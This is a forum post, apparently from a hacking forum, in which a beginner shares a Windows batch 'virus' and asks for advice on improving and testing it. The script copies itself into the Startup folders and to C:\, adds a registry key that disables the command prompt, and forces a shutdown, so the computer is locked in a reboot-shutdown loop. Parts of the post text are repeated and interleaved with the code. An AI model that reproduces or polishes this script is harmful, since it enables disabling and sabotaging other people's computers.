Batch "Virus" 05-22-2014, 10:07 PM
#1
Hey guys, I was bored today in a free period and wrote this out. I'm pretty new to Batch, and I wanted to know your opinion.
Basically, it copies itself into the startup folder (and possibly everything in the C:\ drive, not 100% sure), adds a registry edit to disable cmd, and shuts off the computer. This way, it will continuously shutdown every time it starts up.
I don't know if it's necessary for me to use a comment on the shutdown line, or if I should just use
What do you guys think?
Also, what Virtual PC do you guys recommend to test this out with? I tried the one from Microsoft's website, but it didn't work. I'm using Windows 8 (on my home PC, school uses XP) which doesn't use Hyper-V.
Thanks in advance!
Edit:
I also wanted to know if when the script copied itself into the startup folder, and shutdown, if it would try to copy itself again and give itself an error (two files with the same name in the same place).
Is there a way to (excuse my terrible Batch please)
??
Thanks again!
Code:
Title name
@echo off
copy E:\name11.bat %ALLUSERSPROFILE%\Start Menu\Programs\Startup
copy E:\name11.bat %USERPROFILE%\Start Menu\Programs\Startup
copy E:\name11.bat C:\*
reg add HKCU\Software\Policies\Microsoft\Windows\System /v DisableCMD /t REG_DWORD /d 1 /f
shutdown -s -t 10 -c "Bye-bye, %username%!"
exitBasically, it copies itself into the startup folder (and possibly everything in the C:\ drive, not 100% sure), adds a registry edit to disable cmd, and shuts off the computer. This way, it will continuously shutdown every time it starts up.
I don't know if it's necessary for me to use a comment on the shutdown line, or if I should just use
Code:
echo "Bye-bye, %username%!"
pause
shutdown -s -t 00What do you guys think?
Also, what Virtual PC do you guys recommend to test this out with? I tried the one from Microsoft's website, but it didn't work. I'm using Windows 8 (on my home PC, school uses XP) which doesn't use Hyper-V.
Thanks in advance!
Edit:
I also wanted to know if when the script copied itself into the startup folder, and shutdown, if it would try to copy itself again and give itself an error (two files with the same name in the same place).
Is there a way to (excuse my terrible Batch please)
Code:
if %ALLUSERSPROFILE%\Start Menu\Programs\Startup\name11.bat exists goto :XYZThanks again!


![[+]](https://sinister.li/images/modern/collapse_collapsed.png)